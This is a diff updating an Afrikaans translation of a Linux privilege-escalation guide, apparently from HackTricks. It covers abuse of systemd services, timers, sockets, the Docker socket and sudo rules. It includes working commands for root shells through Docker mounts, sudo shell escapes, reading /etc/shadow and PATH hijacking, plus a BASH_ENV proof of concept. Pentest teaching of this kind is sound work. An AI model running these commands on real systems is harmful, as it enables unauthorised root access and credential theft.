+**Jy kan ook gebruik** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dit sal elke proses wat begin, monitor en lys). -### Onsigbare cron jobs +### Onsigbare cronjobs -Dit is moontlik om 'n cronjob te skep deur **'n carriage return na 'n kommentaar te plaas** (sonder newline-karakter), en die cron job sal werk. Voorbeeld (let op die carriage return-karakter): +Dit is moontlik om 'n cronjob **deur 'n carriage return na 'n kommentaar te plaas** (sonder newline-karakter), en die cronjob sal werk. Voorbeeld (let op die carriage return-karakter): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -408,87 +406,87 @@ Dit is moontlik om 'n cronjob te skep deur **'n carriage return na 'n kommentaar ### Skryfbare _.service_ lêers -Kontroleer of jy enige `.service` lêer kan skryf, as jy dit kan, kan jy dit **wysig** sodat dit jou **backdoor** **uitvoer wanneer** die diens **gestart**, **herbegin** of **gestop** word (miskien moet jy wag totdat die masjien herbegin).\ +Kontroleer of jy enige `.service` file kan skryf; as jy dit kan, **kan jy dit wysig** sodat dit jou **backdoor uitvoer wanneer** die diens **begin**, **herbegin** of **gestop** word (jy mag dalk moet wag totdat die masjien herbegin).\ Byvoorbeeld, skep jou backdoor binne die .service-lêer met **`ExecStart=/tmp/script.sh`** -### Skryfbare service binaries +### Skryfbare service-binêre -Onthou dat as jy **skryfregte oor binaries wat deur dienste uitgevoer word** het, jy dit kan verander na backdoors sodat wanneer die dienste weer uitgevoer word die backdoors uitgevoer sal word. +Hou in gedagte dat as jy **skryfpermissies oor binaries wat deur services uitgevoer word** het, kan jy hulle verander om backdoors in te sit sodat wanneer die services weer uitgevoer word, die backdoors uitgevoer sal word. -### systemd PATH - Relatiewe Paaie +### systemd PATH - Relatiewe paaie Jy kan die PATH wat deur **systemd** gebruik word sien met: ```bash systemctl show-environment ``` -As jy ontdek dat jy in enige van die vouers op die pad kan **skryf**, kan jy dalk in staat wees om **escalate privileges**. Jy moet soek na **relatiewe paaie wat in service-konfigurasielêers gebruik word**, soos: +Indien jy agterkom dat jy in enige van die vouers van die pad kan **write**, mag jy dalk in staat wees om **escalate privileges**. Jy moet soek na **relative paths being used on service configurations** lêers soos: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`). +Skep dan ’n **executable** met die **same name as the relative path binary** inside die systemd PATH folder you can write, en wanneer die diens gevra word om die kwesbare aksie (**Start**, **Stop**, **Reload**) uit te voer, sal jou **backdoor** uitgevoer word (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`). -**Learn more about services with `man systemd.service`.** +**Lees meer oor services met `man systemd.service`.** ## **Timers** -**Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously. +**Timers** is systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir calendar time events en monotonic time events en asynchroon uitgevoer kan word. -You can enumerate all the timers with: +Jy kan al die timers opnoem met: ```bash systemctl list-timers --all ``` ### Skryfbare timers -As jy 'n timer kan wysig, kan jy dit 'n bestaande systemd.unit laat uitvoer (soos 'n `.service` of 'n `.target`). +As jy 'n timer kan wysig, kan jy dit laat uitvoer om sommige bestaande systemd.unit-eenhede (soos 'n `.service` of 'n `.target`) te begin. ```bash Unit=backdoor.service ``` In die dokumentasie kan jy lees wat die Unit is: -> Die unit wat geaktiveer moet word wanneer hierdie timer verstryk. Die argument is 'n unit-naam, waarvan die agtervoegsel nie ".timer" is nie. Indien nie gespesifiseer nie, gaan hierdie waarde na 'n service wat dieselfde naam as die timer unit het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die unit-naam wat geaktiveer word en die unit-naam van die timer unit identies benoem word, behalwe vir die agtervoegsel. +> Die unit wat geaktiveer moet word wanneer hierdie `.timer` verstryk. Die argument is 'n unit-naam, waarvan die agtervoegsel nie ".timer" is nie. Indien nie gespesifiseer nie, val hierdie waarde terug op 'n `service` wat dieselfde naam as die timer-unit het, uitgesonderd die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die unit-naam wat geaktiveer word en die unit-naam van die timer-unit identies benoem word, behalwe vir die agtervoegsel. -Daarom, om hierdie toestemming te misbruik, sal jy die volgende moet doen: +Daarom, om hierdie permissie te misbruik, sal jy die volgende moet doen: -- Vind 'n systemd unit (soos 'n `.service`) wat **executing a writable binary** -- Vind 'n systemd unit wat **executing a relative path** en jy het **writable privileges** oor die **systemd PATH** (to impersonate that executable) +- Vind 'n systemd unit (soos 'n `.service`) wat 'n **skryfbare binary uitvoer** +- Vind 'n systemd unit wat 'n **relatiewe pad uitvoer** en waaroor jy **skryfregte** het oor die **systemd PATH** (om daardie executable te imiteer) **Leer meer oor timers met `man systemd.timer`.** -### **Timer inskakel** +### **Aktiveer Timer** -Om 'n timer in te skakel benodig jy root privileges en om die volgende uit te voer: +Om 'n timer te aktiveer benodig jy root privileges en om die volgende uit te voer: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Let wel: die **timer** word **geaktiveer** deur 'n symlink daarna te skep op `/etc/systemd/system/.wants/.timer` +Let wel: die **timer** is **geaktiveer** deur 'n symlink na dit te skep op `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) maak **proseskommunikasie** moontlik op dieselfde of op verskillende masjiene binne client-server modelle. Hulle gebruik standaard Unix-beskrywerlêers vir inter-rekenaarkommunikasie en word opgestel deur `.socket` files. +Unix Domain Sockets (UDS) stel **proseskommunikasie** in staat op dieselfde of verskillende masjiene binne client-server-modelle. Hulle gebruik standaard Unix-deskriptorlêers vir inter-rekenaarkommunikasie en word opgestel deur `.socket`-lêers. -Sockets kan geconfigureer word met `.socket` files. +Sockets kan gekonfigureer word met behulp van `.socket`-lêers. -**Learn more about sockets with `man systemd.socket`.** In hierdie lêer kan verskeie interessante parameters gekonfigureer word: +**Leer meer oor sockets met `man systemd.socket`.** In hierdie lêer kan verskeie interessante parameters gekonfigureer word: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies verskil, maar 'n opsomming word gebruik om **aan te dui waarheen dit gaan luister** na die socket (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.) -- `Accept`: Neem 'n boolean argument. As dit **true** is, word 'n **service instance vir elke inkomende verbinding geskep** en slegs die verbinding-socket word daaraan deurgegee. As dit **false** is, word al die luisterende sockets self **aan die gestarte service unit deurgegee**, en net een service unit word geskep vir alle verbindings. Hierdie waarde word geïgnoreer vir datagram sockets en FIFOs waar een enkele service unit onvoorwaardelik al die inkomende verkeer hanteer. **Defaults to false**. Vir prestasie-redes word aanbeveel om nuwe daemons slegs op 'n wyse te skryf wat geskik is vir `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdraglyne wat onderskeibaar **uitgevoer word voor** of **na** die luisterende **sockets**/FIFOs geskep en gebind word. Die eerste token van die opdraglyn moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses. -- `ExecStopPre`, `ExecStopPost`: Addisionele **opdragte** wat onderskeibaar **uitgevoer word voor** of **na** die sluiting en verwydering van die luisterende **sockets**/FIFOs. -- `Service`: Spesifiseer die **service**-unit naam **om te aktiveer** op **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit verstek na die service met dieselfde naam as die socket (met die agtervoegsel vervang). In die meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies verskil, maar 'n opsomming word gebruik om aan te **gee waar daar na die socket geluister gaan word** (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.) +- `Accept`: Neem 'n boolean-argument. As dit **true** is, word 'n **service instance geskep vir elke inkomende verbinding** en slegs die verbindings-socket word daaraan deurgegee. As dit **false** is, word al die luister-sockets self **aan die gestarte service unit deurgegee**, en slegs een service unit word geskep vir al die verbindings. Hierdie waarde word geïgnoreer vir datagram-sockets en FIFO's waar 'n enkele service unit onvoorwaardelik al die inkomende verkeer hanteer. **Standaard is false**. Vir prestasie-redes word aanbeveel om nuwe daemons slegs so te skryf dat hulle geskik is vir `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdragreëls, wat onderskeidelik **uitgevoer word voor** of **na** die luisterende **sockets**/FIFO's geskep en gebind word. Die eerste token van die opdragreël moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses. +- `ExecStopPre`, `ExecStopPost`: Bykomende **opdragte** wat onderskeidelik **uitgevoer word voor** of **na** die luisterende **sockets**/FIFO's gesluit en verwyder word. +- `Service`: Spesifiseer die **service** unit naam **om te aktiveer** by **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit staan standaard op die service wat dieselfde naam as die socket dra (met die suffix vervang). In meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie. -### Skryfbare .socket files +### Writable .socket files -As jy 'n **skryfbare** `.socket` file vind, kan jy by die begin van die `[Socket]` afdeling iets soos: `ExecStartPre=/home/kali/sys/backdoor` **byvoeg** en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy **waarskynlik moet wag totdat die masjien herbegin is.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +As jy 'n **skryfbare** `.socket`-lêer vind, kan jy aan die begin van die `[Socket]`-afdeling iets byvoeg soos: `ExecStartPre=/home/kali/sys/backdoor` en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy **waarskynlik moet wag tot die masjien herbegin word.**\ +_Net toe dat die stelsel daardie socket-lêerkonfigurasie moet gebruik, anders sal die backdoor nie uitgevoer word nie_ -### Skryfbare sockets +### Writable sockets -As jy **enige skrifbare socket** identifiseer (_nou praat ons oor Unix Sockets en nie oor die konfig `.socket` files nie_), dan **kan jy met daardie socket kommunikeer** en moontlik 'n kwesbaarheid uitbuit. +As jy enige **skryfbare socket** identifiseer (_nou praat ons van Unix Sockets en nie van die konfigurasie `.socket`-lêers nie_), dan **kan jy met daardie socket kommunikeer** en moontlik 'n kwesbaarheid uitbuit. -### Enumerate Unix Sockets +### Enumereer Unix Sockets ```bash netstat -a -p --unix ``` @@ -501,7 +499,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation voorbeeld:** +**Exploitation example:** {{#ref}} @@ -510,48 +508,48 @@ socket-command-injection.md ### HTTP sockets -Let wel dat daar moontlik 'n paar **sockets is wat na HTTP requests luister** (_Ek praat nie van .socket files nie, maar van die lêers wat as unix sockets optree_). Jy kan dit nagaan met: +Let daarop dat daar moontlik 'n paar **sockets wat na HTTP luister** bestaan vir versoeke (_Ek praat nie van .socket files nie, maar van die lêers wat as unix sockets optree_). Jy kan dit nagaan met: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -As die socket **reageer op 'n HTTP** versoek, kan jy **kommunikeer** daarmee en dalk **'n kwesbaarheid uitbuit**. +Indien die socket **responds with an HTTP** request, kan jy daarmee **communicate** en moontlik **exploit some vulnerability**. ### Skryfbare Docker Socket -Die Docker socket, dikwels gevind by `/var/run/docker.sock`, is 'n kritieke lêer wat beveilig moet word. Per verstek is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Om skryftoegang tot hierdie socket te hê kan lei tot privilege escalation. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie. +Die Docker-socket, dikwels gevind by `/var/run/docker.sock`, is 'n kritieke lêer wat beveilig moet word. Volgens verstek is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Skryftoegang tot hierdie socket kan lei tot privilege escalation. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie. #### **Privilege Escalation with Docker CLI** -As jy skryftoegang tot die Docker socket het, kan jy privilege escalation bewerkstellig deur die volgende opdragte te gebruik: +As jy skryftoegang tot die Docker-socket het, kan jy privilege escalation bereik met die volgende opdragte: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Hierdie opdragte laat jou toe om 'n container te begin met root-vlak toegang tot die host se lêerstelsel. +Hierdie opdragte laat jou toe om 'n container met root-vlak toegang tot die gasheer se lêerstelsel te draai. #### **Gebruik die Docker API direk** -In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker-sok nog steeds gemanipuleer word deur die Docker API en `curl` opdragte. +In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket steeds gemanipuleer word met die Docker API en `curl` opdragte. -1. **List Docker Images:** Retrieve the list of available images. +1. **List Docker Images:** Haal die lys van beskikbare images op. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +2. **Create a Container:** Stuur 'n versoek om 'n container te skep wat die gasheerstelsel se root directory mount. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +Begin die nuutgeskepte container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +3. **Attach to the Container:** Gebruik `socat` om 'n verbinding met die container te vestig, sodat jy opdragte daarin kan uitvoer. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -561,13 +559,13 @@ Connection: Upgrade Upgrade: tcp ``` -Nadat die `socat`-verbinding opgestel is, kan jy opdragte direk in die container uitvoer met root-vlak toegang tot die host se lêerstelsel. +Na die opstelling van die `socat`-verbinding kan jy opdragte direk in die container uitvoer met root-vlak toegang tot die gasheer se lêerstelsel. -### Anders +### Ander -Let wel dat as jy skryfpermissies oor die docker-sok het omdat jy **inside the group `docker`** is, jy [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Neem kennis dat as jy skryf-toestemmings oor die docker socket het omdat jy **inside the group `docker`** is, het jy [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) kan jy dit ook kompromitteer. -Check **more ways to break out from docker or abuse it to escalate privileges** in: +Kyk na **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} @@ -576,7 +574,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy aangesien **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -585,7 +583,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy aangesien **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -594,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is 'n gesofistikeerde **inter-Process Communication (IPC) system** wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie. +D-Bus is 'n gevorderde inter-Process Communication (IPC) system wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Dit is ontwerp met die moderne Linux-stelsel in gedagte en bied 'n robuuste raamwerk vir verskeie vorme van toepassingskommunikasie. -Die stelsel is veelzijdig en ondersteun basiese IPC wat data-uitruiling tussen prosesse verbeter, soortgelyk aan **enhanced UNIX domain sockets**. Verder help dit met die uitsending van gebeure of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth daemon oor 'n inkomende oproep kan 'n musiekspeler laat demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n remote object system, wat diensversoeke en method-invocations tussen toepassings vereenvoudig en prosesse wat tradisioneel kompleks was, stroomlyn. +Die stelsel is veelsydig en ondersteun basiese IPC wat die data-uitruiling tussen prosesse verbeter, soortgelyk aan verbeterde UNIX domain sockets. Verder help dit met die uitsending van events of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth daemon oor 'n inkomende oproep kan 'n music player laat demp om die gebruikerservaring te verbeter. D-Bus ondersteun ook 'n remote object system wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig, en sodoende prosesse wat tradisioneel kompleks was, stroomlyn. -D-Bus werk op 'n **allow/deny model**, wat boodskappermissies (method calls, signal emissions, ens.) bestuur gebaseer op die kumulatiewe effek van ooreenstemmende beleidreëls. Hierdie beleide spesifiseer interaksies met die bus en kan moontlik gevind word as 'n weë vir privilege escalation deur die uitbuiting van hierdie permissies. +D-Bus werk op 'n allow/deny model en bestuur boodskaptoestemmings (metode-oproepe, sein-uitsendings, ens.) gebaseer op die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleidsreëls spesifiseer interaksies met die bus en kan moontlik tot privilege escalation lei deur die uitbuiting van hierdie toestemmings. -'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word gegee, wat toestemming beskryf vir die root gebruiker om te own, send to, en receive messages van `fi.w1.wpa_supplicant1`. +'n Voorbeeld van so 'n beleid in /etc/dbus-1/system.d/wpa_supplicant.conf word verskaf, wat toestemmings vir die root-gebruiker beskryf om `fi.w1.wpa_supplicant1` te besit, na te stuur en vanaf te ontvang. -Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" context beleide geld vir alle gebruikers wat nie deur ander spesifieke beleide gedek word nie. +Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie. ```xml @@ -611,18 +609,18 @@ Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "de ``` -**Leer hoe om 'n D-Bus kommunikasie te enumerate en te exploit hier:** +**Leer hoe om 'n D-Bus-kommunikasie te ontleed en uit te buit hier:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} -## **Network** +## **Netwerk** -Dit is altyd interessant om die network te enumerate en die posisie van die masjien uit te vind. +Dit is altyd interessant om die netwerk te ontleed en die posisie van die masjien uit te vind. -### Algemene enumeration +### Generiese enumerasie ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -645,24 +643,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Oop poorte +### Open ports -Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy voorheen nie kon kommunikeer nie, voordat jy toegang daartoe kry: +Kontroleer altyd network services wat op die masjien loop en waarmee jy nie kon kommunikeer voordat jy toegang daartoe gekry het nie: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Kontroleer of jy verkeer kan sniff. As jy dit kan doen, kan jy dalk 'n paar credentials vang. +Kontroleer of jy traffic kan sniff. Indien ja, kan jy moontlik credentials kry. ``` timeout 1 tcpdump ``` ## Gebruikers -### Algemene Enumerasie +### Generiese Enumerasie -Kontroleer **wie** jy is, watter **bevoegdhede** jy het, watter **gebruikers** in die stelsels is, watter van hulle kan **aanmeld** en watter het **root bevoegdhede:** +Kontroleer **wie** jy is, watter **voorregte** jy het, watter **gebruikers** in die stelsels is, watter van hulle kan **login** en watter het **root voorregte:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -686,12 +684,12 @@ gpg --list-keys 2>/dev/null ``` ### Groot UID -Sommige Linux-weergawes is geraak deur 'n fout wat gebruikers met **UID > INT_MAX** toelaat om voorregte te eskaleer. Meer inligting: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Benut dit** met: **`systemd-run -t /bin/bash`** +Sommige Linux-weergawes is deur 'n fout geraak wat gebruikers met **UID > INT_MAX** toelaat om voorregte te eskaleer. Meer inligting: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Groepe -Kontroleer of jy 'n **lid van 'n groep** is wat jou root privileges kan gee: +Kontroleer of jy 'n **lid van 'n groep** is wat jou root-voorregte kan gee: {{#ref}} @@ -700,7 +698,7 @@ interesting-groups-linux-pe/ ### Klembord -Kontroleer of daar iets interessant in die klembord is (indien moontlik) +Kyk of daar iets interessants in die klembord is (indien moontlik) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -717,27 +715,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bekende wagwoorde -As jy **enige wagwoord van die omgewing ken**, **probeer om as elke gebruiker aan te meld** met daardie wagwoord. +As jy **enige wagwoord** van die omgewing ken, **probeer om as elke gebruiker aan te meld** met daardie wagwoord. ### Su Brute -As jy nie omgee om baie geraas te maak nie en `su` en `timeout` binaries op die rekenaar teenwoordig is, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +As jy nie omgee om baie geraas te maak nie en die `su` en `timeout` binaries op die rekenaar teenwoordig is, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om gebruikers te brute-force. -## Skryfbare PATH-misbruik +## Skryfbare PATH misbruik ### $PATH -As jy agterkom dat jy **in 'n gids van die $PATH kan skryf**, mag jy in staat wees om voorregte te eskaleer deur **'n backdoor binne die skryfbare gids te skep** met die naam van 'n opdrag wat deur 'n ander gebruiker (idealiter root) uitgevoer gaan word, en wat **nie vanaf 'n gids wat in $PATH voor jou skryfbare gids geleë is gelaai word nie**. +As jy ontdek dat jy **in 'n gids van die $PATH kan skryf**, kan jy dalk bevoegdhede verhoog deur **'n backdoor in die skryfbare gids te skep** met die naam van 'n opdrag wat deur 'n ander gebruiker (idealiter root) uitgevoer gaan word en wat **nie vanaf 'n gids gelaai word wat voor jou skryfbare gids in die $PATH geleë is nie.** ### SUDO and SUID -Jy kan toegelaat wees om sekere opdragte met sudo uit te voer, of hulle mag die suid-bit hê. Kontroleer dit met: +Jy mag toegelaat word om sekere opdragte met sudo uit te voer, of dit kan die suid bit hê. Kontroleer dit met: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Sommige **onverwagte commands laat jou toe om lêers te lees en/of te skryf of selfs 'n command uit te voer.** Byvoorbeeld: +Sommige **onverwagte opdragte laat jou toe om lêers te lees en/of te skryf of selfs 'n opdrag uit te voer.** Byvoorbeeld: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -748,13 +746,13 @@ less>! ``` ### NOPASSWD -Sudo-konfigurasie kan 'n gebruiker toelaat om 'n opdrag met 'n ander gebruiker se voorregte uit te voer sonder om die wagwoord te ken. +Sudo-konfigurasie kan 'n user toelaat om 'n command met die voorregte van 'n ander user uit te voer sonder om die password te ken. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer; dit is nou eenvoudig om 'n shell te kry deur 'n ssh key in die root-gids te voeg of deur `sh` aan te roep. +In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer, dit is nou triviaal om 'n shell te kry deur 'n ssh key in die root directory te voeg of deur `sh` aan te roep. ``` sudo vim -c '!sh' ``` @@ -766,13 +764,38 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **kwetsbaar** vir **PYTHONPATH hijacking** om 'n ewekansige python-biblioteek te laai terwyl die script as root uitgevoer word: +Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **vatbaar** vir **PYTHONPATH hijacking** om 'n willekeurige python-biblioteek te laai terwyl die skrip as root uitgevoer is: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo-uitvoering wat paaie omseil +### BASH_ENV behou via sudo env_keep → root shell -**Spring** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ +As sudoers `BASH_ENV` behou (bv. `Defaults env_keep+="ENV BASH_ENV"`), kan jy Bash se nie-interaktiewe opstartgedrag benut om willekeurige kode as root uit te voer wanneer 'n toegelate opdrag aangeroep word. + +- Waarom dit werk: Vir nie-interaktiewe shells evalueer Bash `$BASH_ENV` en source daardie lêer voordat die teikenskrip uitgevoer word. Baie sudo-reëls laat toe om 'n skrip of 'n shell-wrapper uit te voer. As `BASH_ENV` deur sudo behou word, word jou lêer met root-voorregte gesourced. + +- Vereistes: +- 'n sudo-reël wat jy kan uitvoer (enige teiken wat `/bin/bash` nie-interaktief oproep, of enige bash-skrip). +- `BASH_ENV` teenwoordig in `env_keep` (kontroleer met `sudo -l`). + +- PoC: +```bash +cat > /dev/shm/shell.sh <<'EOF' +#!/bin/bash +/bin/bash +EOF +chmod +x /dev/shm/shell.sh +BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash +# You should now have a root shell +``` +- Verharding: +- Verwyder `BASH_ENV` (en `ENV`) uit `env_keep`; verkies `env_reset`. +- Vermy shell-wrappers vir sudo-allowed opdragte; gebruik minimale binaries. +- Oorweeg sudo I/O-logboekvoering en waarskuwings wanneer bewaarde env vars gebruik word. + +### Sudo uitvoering omseilingspade + +**Jump** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -782,46 +805,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -As 'n **wildcard** gebruik word (\*), is dit nog makliker: +Indien **wildcard** gebruik word (\*), is dit selfs makliker: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Teenmaatreëls**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary sonder kommando‑pad +### Sudo command/SUID binary sonder command path -Indien die **sudo permission** aan 'n enkele command gegee word **sonder om die pad te spesifiseer**: _hacker10 ALL= (root) less_, kan jy dit uitbuit deur die PATH-variabele te verander. +As die **sudo permission** aan 'n enkele command' gegee word **sonder om die path te spesifiseer**: _hacker10 ALL= (root) less_ kan jy dit uitbuit deur die PATH variable te verander ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Hierdie tegniek kan ook gebruik word as 'n **suid** binary **'n ander command uitvoer sonder om die pad daarvan te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binary)**. +Hierdie tegniek kan ook gebruik word as 'n **suid** binary **voer 'n ander opdrag uit sonder om die pad daarvoor te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binary)**). [Payload examples to execute.](payloads-to-execute.md) -### SUID binary met command path +### SUID binary met opdragpad -As die **suid** binary **'n ander command uitvoer en die path spesifiseer**, dan kan jy probeer om 'n **export a function** te skep met dieselfde naam as die command wat die suid file aanroep. +As die **suid** binary **'n ander opdrag uitvoer en die pad daarvoor spesifiseer**, kan jy probeer om 'n funksie met dieselfde naam as die opdrag wat die suid-lêer oproep, te **export**. -Byvoorbeeld, as 'n suid binary aanroep _**/usr/sbin/service apache2 start**_ moet jy probeer om die function te skep en dit te export: +Byvoorbeeld, as 'n suid binary aanroep _**/usr/sbin/service apache2 start**_ moet jy probeer om die funksie te skep en dit te **export**: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && 